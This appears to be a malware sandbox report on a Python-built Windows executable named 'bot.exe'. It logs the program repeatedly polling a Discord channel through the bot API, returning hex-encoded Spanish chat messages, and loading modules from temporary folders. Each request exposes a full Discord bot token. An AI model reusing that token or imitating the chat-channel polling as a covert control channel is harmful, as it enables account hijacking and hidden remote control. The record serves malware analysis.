google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=276bdf8ad9ef11f1995e2ffdc4c05963; Expires=Wed 05-Nov-2031 14:34:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=276bdf8ad9ef11f1995e2ffdc4c059639490396cf3c722d5d279be5b5c206f06ea4873e2b09b4e4b9e648c83940f0228; Expires=Wed 05-Nov-2031 14:34:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=Yn.OUYtmCIW1YrPBvdgqvRo2Ig3YEXQZq31Yvqgx9UQ-1793975660.548233-1.0.1.1-9bpbxKhShNOVjjgMk4cnkREJh9FU13mf2FFuav_2oyM; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=akeqXBe13mYHi4lN%2Bi6ZBvQHV67OewGI3U2oz7RNqvh%2F3pgYKZ5HzWZlmFNVixv79GhHCOCqrn3VDIKU1tAd%2BTK%2B6MXFeqkOPpF7IYXKu38chN66NHWCFLTdDhNi"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d18669d56ad1-SJC with response body ==>5B7B2274797065223A31392C22636F6E74656E74223A2262726F222C226D656E74696F6E73223A5B7B226964223A223135363739353435393432353037353232....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:24 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975664.918 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 Accept-Ranges: bytes Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=295dfbf2d9ef11f1a8e169bbd38a7f2e; Expires=Wed 05-Nov-2031 14:34:23 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=295dfbf2d9ef11f1a8e169bbd38a7f2e9349039d815f6c1ff25f8709ed9b8d99d11fd5f163ee421929850ab0d94e44d1; Expires=Wed 05-Nov-2031 14:34:23 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=qtrlZfe_W1769mtr_BMD8KLZcoK5oAdHjCRCcHYeokk-1793975663.8304882-1.0.1.1-kTLRCbapHUv2PaxiZ32hovbdAAiIcmSh6tN.War4Khg; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=o9WaVjIlSjp6cCJaj9B20hTgzGMoOGWUWZNFZF84oF3XBZRKmJwntQ6h8AhWjm1BDHwGbtWwZdPOnbg1azOCxogkVdVaqFm%2BIBsI4g5ui9MbbPp8IlGwx9HZoitW"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d19aea0e4d2f-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:27 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975668.272 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=2b602c36d9ef11f1aaec372d386f17c2; Expires=Wed 05-Nov-2031 14:34:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=2b602c36d9ef11f1aaec372d386f17c2c00b7bcb964c465daaaf57366c712fc5a24034a5e0d081cd00713a074dfb9060; Expires=Wed 05-Nov-2031 14:34:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=BnyrSgVankD3ZrqKkNiEPZfWCS4usuE3e5cwWxYIZLI-1793975667.151458-1.0.1.1-jWNcmXT_o98Q99OZXPtIgFMfDZgXI6iQJ5wciCQSY8I; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=k3R4mLabRZdxxKbZcT39non71hfU67Tx1gUdfw6RF8QXwGZBUmLtn4KdvfZqMu4Lb%2B8zsWUcYDvvYWLbSQFzAi1XXPIHdClobfd7%2Fwe5uSvC8HOYM3y1UvGcedVO"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d1afaa736c48-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:30 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975671.614 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=2d5a4d96d9ef11f18fd81f52c75bd921; Expires=Wed 05-Nov-2031 14:34:30 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=2d5a4d96d9ef11f18fd81f52c75bd921e8e4c306b6b423f81ce960bcc122e6a8d8a26e39b43390072ec4f533f722bb90; Expires=Wed 05-Nov-2031 14:34:30 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=Wa6vP6x94S.QYv4l_F7GUKpXXsSzfRFx0rHDKOcFq2U-1793975670.5117826-1.0.1.1-v88yyw6LRqHhnHB3C0OIEZinn_0TiDh_henAFh2riEw; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=J8xVyCVMouiVQTHTLc9PBOJJ8%2BOgRH2pPjNCH9G7CAsgds0GThJidST3E2Q6m750FPNv3F6HHZ4hMnKZYGyc%2FXd2Ty095gH7j2ska1CqiAc1%2BbKI4uXZ2u92C7Jc"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d1c4bb621354-SJC with response body ==>5B7B2274797065223A302C22636F6E74656E74223A22616A6A6A616A616A61207175652067756179222C226D656E74696F6E73223A5B5D2C226D656E74696F6E....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:34 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975674.994 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 Accept-Ranges: bytes Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=2f606eead9ef11f1a942b1b22898fdd9; Expires=Wed 05-Nov-2031 14:34:34 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=2f606eead9ef11f1a942b1b22898fdd9ee430ef12c1378f90a768ffaf171296f93b1f4e2330f6bc4c917a29d6c7629fe; Expires=Wed 05-Nov-2031 14:34:34 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=_6woaJDebMEFA6MtnEhnRhIMp7IaIAs330X9ecZoBvc-1793975673.8307972-1.0.1.1-jWjgNouT4HWzVRTFQne6SbvXUjn0XE23f0osXUli22Q; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=5qkRPawaVINjIYp5ygVMrV7KlLObL%2FiLKKRdJA7gtqsGtSL92P9zRQ2y5T229T5EsnlbDwHYTVrwsYwb1VueYOuyM23ELKBrNgVsfWoHEoUqJb78Zwe5rQvItp6X"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d1d96817de42-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:37 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975678.381 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=3165e1a2d9ef11f1983d25515229adb4; Expires=Wed 05-Nov-2031 14:34:37 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=3165e1a2d9ef11f1983d25515229adb4241d0e8a46bc9c82dcd66e53aeba1ec9965f147dc1da354200b266a188887c5a; Expires=Wed 05-Nov-2031 14:34:37 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=KYA5BK.MGsMLkqDQmwUGE4xNso2tN_h2Qb1.f5SYqHY-1793975677.2866006-1.0.1.1-.6Qr7D._k3fnh14zxg.cO6Rr.9Km1N4AyzPHPj4JGl8; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=6jpEWDqdZTi3PpkPu78MAK8Quw6EEsW7Hy3RMJjYz%2FxOOxIZ6mQcuTSeFmuMEsMrjVqnYk%2F0bF%2FiVtAcTl3p41ywmMbZbAFEvtoOj6MCN2%2FBLs%2FzUYBwbn%2FMlrb4"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d1ef0bb7b625-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:40 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975681.718 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=336b9c58d9ef11f1927ba32adf2998db; Expires=Wed 05-Nov-2031 14:34:40 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=336b9c58d9ef11f1927ba32adf2998db2f62073c6faf4b96ca67d7a8f89ad10c551176a4120e567b001747c5f5d8509a; Expires=Wed 05-Nov-2031 14:34:40 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=GRKjiEx.86x4zIylRlglqFttV_13kCBNS9IA09FwJsM-1793975680.6040149-1.0.1.1-.QCI92auVwOFXqgf8QXjNl6kA8lb.d47gsmW1ajp6Cg; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=a7CCzsUuzbcyhJ4QDgQumXjO%2BaXBgFC8v9Cvqre8R2gW33oFhuAZxmyQPt%2F6iM%2F6NqT7bNTwwVXh1hlfwa7hBHSBEyftj6pD%2FtYvdq%2BrrmECG4%2BwGQA0aq84weE0"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d203cd4ecc7e-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:44 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975685.096 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=356a4e5ad9ef11f1869d972ecbe8b11f; Expires=Wed 05-Nov-2031 14:34:44 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=356a4e5ad9ef11f1869d972ecbe8b11f33446ddede97f18a902a1e206f04ab6ec4c58554d07e6c61baa6e2180033cfbc; Expires=Wed 05-Nov-2031 14:34:44 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=6ZdesEX.H0gQ0b2emqOvNCDOtcAhaAEpQG.rHNUNI9o-1793975683.99914-1.0.1.1-Q735twtsY6gFL_gViam2n2wbe0ZGxdC149tG8FXsLdc; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=iSgdUVRl9dYksRSlGS6trm7xSWDI0Xldi55SqBJaF1HYE0E0DHRaro6aEDTqIh%2BYLKOemVGsaBgGa6V%2BXfA82pdwAV2AkE%2Bb3sCCB2pk1Op%2BTJNZD3Nz935mH836"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d218ff91944a-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:47 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975688.496 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=376bd4b2d9ef11f1adcaff7b53984d37; Expires=Wed 05-Nov-2031 14:34:47 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=376bd4b2d9ef11f1adcaff7b53984d37bf28c82c0406174a8f70a7d3956b31d3bf4b0e06d164ffde0137210e6a3ea3a8; Expires=Wed 05-Nov-2031 14:34:47 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=EV8a1sJ0CVB9R4xAgyvtCk5dPlZxLed2rhUMfcovKFM-1793975687.3649883-1.0.1.1-1spGzhwyYgu9eJofD7kfpTKUNYZJic47IaG3mrCefzc; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=TVYr0sh6m%2B8iL0TDDsqS7ESoTW%2FnFjfjtTU7OACQ%2FDYuZC23Z363qVkuNmGm5Zja3COVRpJhRLbEfQT31buUvprm9pnb7Dj%2FXcZA7wdbWSRRoO5eDIC%2B3KbFxc8P"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d22e0ce6456e-SJC with response body ==>5B7B2274797065223A302C22636F6E74656E74223A22706F7271756520636F5C75303066316F222C226D656E74696F6E73223A5B5D2C226D656E74696F6E5F72....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:50 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975691.814 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=39682f4ad9ef11f19b0cbd391f45f9ba; Expires=Wed 05-Nov-2031 14:34:50 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=39682f4ad9ef11f19b0cbd391f45f9baac17ef60500992da904e6cd21a4d9c7d3914f4aa8d775bb0bd9b113ad5730513; Expires=Wed 05-Nov-2031 14:34:50 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=5dD9L.X.p0_gnu7aP_3FlVtSeDhXQ83sqMR87Wc7HjU-1793975690.7143157-1.0.1.1-wWS2Pbp1Utl7Voqmg7P5XYf6ka_DSVZ5eR9hhxene.s; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tntz9A%2Fe49AWloEvM7wpj2Gfkg2Il8gSvNaGIRW121H7wuY56zj67rg1CBXM9EV70JJh0rJdeDxurLwpc6d%2B4sF4ecBezpgjnHPmZhVmUF7W7EKwdDy0z1rhZHx1"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d242f8781568-SJC with response body ==>5B7B2274797065223A302C22636F6E74656E74223A226C6F206D6574657320656E20756E2062757474657266696C657368617265222C226D656E74696F6E7322....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:54 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975695.172 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 Accept-Ranges: bytes Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=3b66bee2d9ef11f185ca45ab21314e4a; Expires=Wed 05-Nov-2031 14:34:54 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=3b66bee2d9ef11f185ca45ab21314e4a712642f05a127f4e42a24be4f1aad3576255d78a530928ca43be6cee08ad34a3; Expires=Wed 05-Nov-2031 14:34:54 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=231Kujpg5nekk55tlD_BpuU4H3T6ktzWsBcVcPqEr6A-1793975694.0811102-1.0.1.1-VRWfxjqsTo6uvIJxKnBEJ7h1l.v7wzlrJeS3mQl7rww; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=vWnCKwf3%2BLx7UvAoChP%2BArzKmVUB1F7QT3FV3weYLerCsiMx4JPGdQM31uwQsg1EoeIZgzTa40tUeOJzZpBh2fgGXgFLJ5WmtndY2SQqwhrphvennSPEE6GCl9V%2F"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d257fb026802-SJC with response body ==>5B5D0A.......4b:T1274,"bot.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffeb3b30000 "bot.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 7ffed73e0000 "bot.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffed73e0000 "bot.exe" loaded module "RPCRT4.DLL" at base 7ffed9760000 "bot.exe" loaded module "VCRUNTIME140.DLL" at base 7ffecc5b0000 "bot.exe" loaded module "VCRUNTIME140_1.DLL" at base 7ffecb5e0000 "bot.exe" loaded module "NTDLL.DLL" at base 7ffed9930000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffed4960000 "bot.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffed4d70000 "bot.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffed73e0000 "bot.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffed73e0000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\UCRTBASE.DLL" at base 7ffeb9880000 "bot.exe" loaded module "BCRYPT.DLL" at base 7ffed7920000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffed71e0000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\PYTHON314.DLL" at base 7ffeacfa0000 "bot.exe" loaded module "API-MS-WIN-CORE-FILE-L2-1-4" at base 7ffed73e0000 "bot.exe" loaded module 